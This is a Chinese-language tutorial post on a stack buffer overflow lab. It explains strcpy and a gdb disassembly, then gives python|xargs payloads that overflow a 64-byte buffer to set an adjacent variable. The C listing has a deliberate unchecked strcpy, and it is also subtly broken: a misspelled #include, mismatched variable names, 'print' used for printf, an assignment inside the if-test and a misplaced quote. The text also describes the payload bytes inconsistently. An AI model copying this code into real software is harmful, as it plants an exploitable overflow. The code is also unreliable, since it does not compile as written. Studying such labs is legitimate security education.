缓冲区溢出2

首先介绍一下puts函数 ，从缓冲区读取一段内容打印到屏幕！

每次用到puts函数的时候会有 mov xxxxx,(%esp)我觉得这种输出格式应该满足大部分格式（输出的内容是esp指向的内容）(print函数也是)

接下来要介绍一个strcpy函数，下面是引用的一段百度百科

原型声明：char *strcpy(char* dest, const char *src);

头文件：#include < string.h> 和 #include <stdio.h>

功能：把从src地址开始且含有NULL结束符的字符串复制到以dest开始的 地址空间

说明：src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串。

返回指向dest的 指针。

实际上这里所说的空间大部分是在堆栈中的

好了 进入正题
#include<stdio.h>
#incldue<string.h>
int main(int argc,char ** argv)
{
    int modiafied;
    char buffer[64];
    if(argc==1)
    {
        print ("please specify an argument\n");
        exit(1);
    }
    modified=0;
    strcpy(buffer,argv[1]);
    if(modified=0x61626364)
    {
         printf("Congratulation,you pwned it\n");
    }
    else
    {
        printf("Please try again,you got 0x%08X\n,modified");
    }
    return 0;
}
上面是源代码

编译后用gdb执行

这里很显然 传参数的时候首选寄存器是esp之前我看的书上

写的gcc编译器使用寄存器顺序是rdi，rsi，rdx，rcx，r8，r9应该和编译器有关吧

<+6>这里也是为堆栈分配了0x60个字节空间（这应该是一种编译器习惯吧）

<+9>这里是判断命令行传入参数个数是否为1（ebp+8）（命令行参数为1说明没有传进来参数）

<+15,+20>这两句可以看出，puts输出的是esp处的内容，puts之前对esp传值

exit传进去的值是1

<+39>参数个数不是1说明传入参数，modified变量的值位于esp+5C=0  （存放位置同上一篇一样，都是接近栈顶的地方）

<+47>跟下面这个上一篇里的图比较（下图的0x5c-0x1c才是栈空间中的数组）这里的ebp+c是之前把argv数组存放的地址

<+50>传入参数的时候，系统会默认一个argv[0]=文件名这里+4让argv除去系统默认生成的（+4能除掉说明堆栈中存放的是32位的地址）

<+53>取argv[1]的值，执行完这一句eax里面是指向argv[1]的地址

<+55>把argv[1]的地址给esp+4（现在argv[1]就是argv数组的起始地址） 也就是strcpy函数的第二个参数

<+59>buffer数组的起始地址为esp+0x1C

<+63>eax作为中间量把数据拷贝到esp   从这里看strcpy函数是靠堆栈来传递参数的（先传递第二个参数后传递第一个），这里用堆栈传递而不用寄存器传递参数的原因看下面

<+71>判断esp+0x5C处是否为0x61626364

补充：局部数据必须放在内存中的常见情况：

1.寄存器不足够存放所有的本地数据

2.对某个局部变量使用取地址运算符&，因此必须为它 产生一个地址

3.某些局部变量是数组或结构，必须通过数组或结构的引用访问到

还有一点，程序大端和小端存储方式是不一样的这里应该输入64个a+dcba才行（不能是abcd在每4个字节里按小端的存储方法，以4个字节为单位看的话存储顺序是正常的）

r 输入内容  让程序跑起来中断在断点处

x /4xb $esp+0x5c   （4表示长度单位，x表示16进制，b表示单位为字节）

c          断点断下来后的程序继续执行（continue）

test是可执行文件

./test xxx xxx xxx     test执行，test作为输入的第一个，xxx为后面的参数

xargs可以把数据当作命令行参数传给制定的程序：

python -c "print  'AAA BBB CCC'"|xargs ./test

python -c "print 'A'*64+'\x64\x63\x62\x61'"|xargs ./pwn2  没错，就是你猜的，传进去参数64个A+bcda (づ￣ 3￣)づ

python -c "print  'A'*64+'dcba'" |xargs ./pwn2